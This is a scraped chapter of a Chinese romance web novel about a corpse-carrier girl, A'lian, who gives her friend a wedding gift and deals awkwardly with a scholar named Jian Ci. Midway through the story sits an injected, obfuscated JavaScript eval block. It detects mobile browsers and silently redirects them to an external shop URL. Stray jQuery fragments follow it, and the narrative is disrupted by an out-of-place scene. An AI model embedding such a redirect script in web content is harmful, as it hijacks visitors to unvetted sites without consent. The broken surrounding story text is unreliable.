文趣网 > 其他小说 > 既见今朝 > 10. 道歉
    “到了,你也回去吧!”阿怜正要进门。

    郭蓉忽然拉住了她的小臂,她踌躇了许久,才说出了对不起三个字。

    “我不知道我娘……”阿怜迅速捂住了她的嘴。

    她看着她,唇角向上弯了几度,“不要胡说,郭婶对我很好的。”

    郭蓉眼眶发红,眸子似是染上了一层水雾,她极力克制,可最终还是让泪落了下来。

    阿怜伸手去摸她的脸,可触及一片温热时,她颤了一下,还是将手缩了回来。

    她的手,太凉了。

    “别哭,天快黑了,被人听到了,我这屋子就该更吓人了。”阿怜安慰道。

    郭蓉怔怔地望着她,盯了半晌,随后猛的抽泣了几下,果然止住了哭声。

    阿怜知道,其实她不是很会说安慰的话。

    她轻拍了两下郭蓉的肩膀,“我有贺礼要给你,你等等我。”

    说着,郭蓉就见她急匆匆地往里头跑去,不过须臾,又大步流星地走了过来。

    她的手里捧着一块帕子,小心翼翼地,仿佛里头是什么非常珍视的东西。

    确实,是个珍贵的物件。

    阿怜将帕子掀开,露出一对珍珠耳环来。耳环白中带粉,不算小颗,若拿到市场上卖,得要花不少钱。

    她伸手将耳环放在郭蓉的脸上一比,淡笑出声:“果然很衬你。”

    郭蓉立即摆手,“阿怜,这我不能收。”

    阿怜像是没听到她的话,将耳环又包进了帕子里,她将它塞在郭蓉的手上。

    怎么不能收,这些年来她身边就她这么一个朋友,她要成亲了,她当然要送贺礼。

    “你不收下,是嫌我这贺礼廉价吗?”

    她一向知道怎么去说服别人,周老头虽然不愿意教她验尸的本事,但也教了一些别的,比如正话反说,比一步步劝导,更能达成目的。

    她之前就做过很多次,去给周老头赖赌债。

    “我……”郭蓉急得方才才止住的哭腔又往外露,她哽咽了两声,“我没有这个意思。”

    “那你收下。”

    郭蓉看着躺在手心的贺礼,明明被帕子包着,她却觉得有些烙手,胸口闷闷的,让她忽觉得有些难以喘气。如今再觉这婚事,她是一点儿也不像原先那般高兴了。

    这贺礼价钱肯定不便宜,她定准备了许久,上次来家中连饭都没吃......

    她声音很低,语气中略带着几分困惑,“可是阿怜你为什么不等到那天再给我呢?我成婚,你不来吗?”

    阿怜垂下眼睑,躲开了周蓉的目光。

    她其实也很想知道喜宴是什么样的,可是她长着这么大只参加过丧宴,主人家哀怨,四周的梁柱上挂着白布,不见一个笑脸。

    愣神之际,阿怜余光之中看见了简辞,他站在不远处,正看着她们。

    知晓阿怜注意到了他,简辞才从一旁过来。

    他穿着一身白裘,衣襟处绣着淡淡云纹,全身上下不见一处污渍,如说书人嘴里的白玉公子,飘飘洒洒。略一细想一番,这肯定又是他家祖母为他添置的。

    反观她自己,深棕袄服,左侧的衣角下还缝着个补丁,颜色也是不够鲜艳,平白增添几分老气。

    她忽然想起,曾经简辞就问过她,为什么不穿些艳丽的衣裳。那时阿怜没答他,她并没有。只是如今,他若是再问她,她一定会说这些衣裳穿着耐脏。

    “简辞哥。”郭蓉喊了一声。

    阿怜这才从思绪中回神。

    简辞朝她点了点头。正因为她在,所以他才敢过来。村里总有些妇人碎嘴子,瞧见了什么总是要评头论足一番,明明没有发生,就对莫须有的事情随意猜测。之前他不过在外与阿怜说了几句话,便传进了祖母的耳朵里,惹得祖母大怒,将他禁足在家,要他安心备考。

    郭蓉见简辞不说话,气氛有些凝滞,便没事找话道:“简辞哥,你是路过吗?”

    他嗯了一声。

    又不说话了。

    阿怜觉着今日的简辞有些奇怪,许多时候都是简辞话多她话少,怎么今日还反过来了?

    郭蓉也有些尴尬,但她没走,她家与简辞家离得不远,就隔了一条巷子,许多次郭蓉都从他们家门前过。那日简老夫人大发雷霆,声音都传到她家来了,说什么阿怜身上阴气重,会影响他身上的官运气,她不允许简辞再跟她来往。自那日起,她再也没往简辞住的那条巷子走过了。

    但她也分得清好歹,简辞哥与简先生都是很好的人,她自然不会迁怒他们,只是心底多少有些膈应在。

    好在阿怜不知道这些,不然该自责了。

    她觑了一眼简辞,后者抿着唇,几度张口却没将话讲出。她忽然觉得他有些笨,读了那么多的书,怎么还不如阿俊哥会说话。

    她摇了摇头,罢了,还是让她再说说吧!

    “简辞哥,听我阿爹说,年后你就要进京赶考了。恭喜你呀,你可是我们祁阳县这么多年来唯一一个举人呢。”

    “过奖。”他淡声回道。

    阿怜眼眸一动,他要走了?

    简辞转向阿怜,目光温柔,“阿怜,今日我来,就是想与你说说这事。”

    阿怜愣了一下,随即开展笑颜,“恭喜呀!”

    “你和简先生都是顶顶聪明的人,一定能够一举夺魁的。”

    她说着吉利话,简辞却莫名有些难受。

    他低着头,视线正好与阿怜对上,那双明亮澄澈的眼眸,里头仿佛藏着春风,很容易就让人卸下心防。

    忽然,她听到他开口:“阿怜,你愿不愿意与我......”

    话没说完,阿怜打断了他:“你这糕点是在县里东边那条街新开的铺子买的吗?”

    她指着他手里头拿着的糕饼,细细红绳搂了一叠,纸袋子渗着油脂,连带香气也溢了出来。

    阿怜喜欢吃糕点,尽管刚刚才尝过梅花糕,可是他手里头的分明就是板栗糕的味道,更香更酥脆。

    简辞顺着她的目光看去,随即点点头。他伸手往前一递,那包糕点就顺势落在了阿怜的手上。

    “这本就是给你买的。”他说的一点儿也不心虚。

    阿怜才不相信,她知道他祖母最爱吃的便是板栗糕了。

    “多少钱?”她问道。

    “没多少。”

    阿怜有些不悦,“快说。”

    简辞:“非要如此见外吗?”

    阿怜见他不回答,转头跑回了屋里。这并不是见外,谁家的钱都不是平白无故来的,尤其是像他们这样的人,没有经商、没有家底,都是靠着自己的力气赚来那么些许银两,她既没有帮过他什么,他也没有欠过她什么,钱货两清,这才最好。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643549|206741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    江时越坐在屋内,手里头正摆弄着一堆花,阿怜有些疑惑,看了他一眼,“你是要将它们做成干花泡茶吗?”

    闻言,江时越指尖一顿,他还没得及开口,阿怜就已经将他越过,一骨碌跑到箱匣边旁翻箱倒柜了一阵。

    江时越瞅了一眼,她手里头正拿着一些碎银与铜板,仔细数着。

    不过一会,身影又在他的眼前消失。

    “给!”阿怜二话不说,伸手就塞给对面的人。

    简辞低头,看见自己的掌心被铜板塞了个满,原本空下来的手顿时又有了实感。

    “也不知道这些钱够不够,那家铺子听说卖得贵。”她嘀咕了一句。

    “够了,都多了。”他坦诚应道。

    他作势要将铜板分出来些,阿怜制止住了他的动作,“如果有多,剩下的你留着,东街那么远,跑一趟多不容易。”

    手背上贴着姑娘的手,是柔软的,她的温度近在咫尺,简辞一时间心念微动。

    郭蓉也劝他收下。她看得出来简辞的心思,可是他家祖母是个不讲理的,听她爹娘说当初简先生回乡时便挨了一顿批,至今两人都还在为当年之事耿耿于怀。要是阿怜真的嫁到他们家,那日子肯定不如现在自在。

    两人一同劝说,简辞也没再继续与她们争辩。

    阿怜眉梢一挑,“忽然觉得我也像一个给得起小费的大方人。”

    这话虽是对着郭蓉说的,目光却看向了简辞。

    简辞悬在半空的手无奈收回,他抿嘴一笑,略有些打趣道:“那便让你也体验一回。”

    闻言,阿怜眼角带笑,柔和的光照在她的脸上,给她镀上了一层薄薄的生气。

    夕阳西下,天色渐晚,再徒留着,难免打扰。

    临走时,阿怜还是有些好奇,“简辞,你先前想说什么?”

    简辞目光躲闪了一下,没在继续注视她:“没什么,就是想问你前段时日学的诗都会了吗?”

    阿怜点头,早就会了。就算他要检查,她也能背出个所以然来。

    见她这副信心满满的模样,简辞紧接着又说:“我这手里头还有些诗集本子,你若想要,我拿来给你。”

    “我自己也能买的。”阿怜脱口而出。

    简辞身形微微一顿。

    她就是一个靠着力气过活的搬尸人,读书本就是因为她高兴,她想学才学的。而且要是被他家祖母发现了,那可又要纠缠解释好一阵。

    拒绝的意味明显,简辞也不好再继续说:“那好......”

    他走了几步,又偷偷回首看了一眼正拿着糕饼嗅着的姑娘,她太过干净,宛若九天之外的仙子,似是要受劫,才会落入这凡尘一趟。

    他缓缓收回目光,那双清润温和的眸子忽然变得浑浊起来。

    远处的人渐渐只能看见影子,又在一个拐角消失不见。阿怜提着糕饼,转过身,堪堪与面前的人撞上。

    “你要吓死我呀。”她拍着胸口,语气带着些许惊诧。这人怎么总是无声无息地出现,还好她胆子大,要不然一不小心就去见了周老头,都说不定。

    江时越看见她白了他一眼,径直略过了他,要往里屋去。

    他忽然有些委屈,他也不是故意的呀!

    他三两步跟上阿怜,清了清嗓子,状若无意地问道:“他就是简辞?”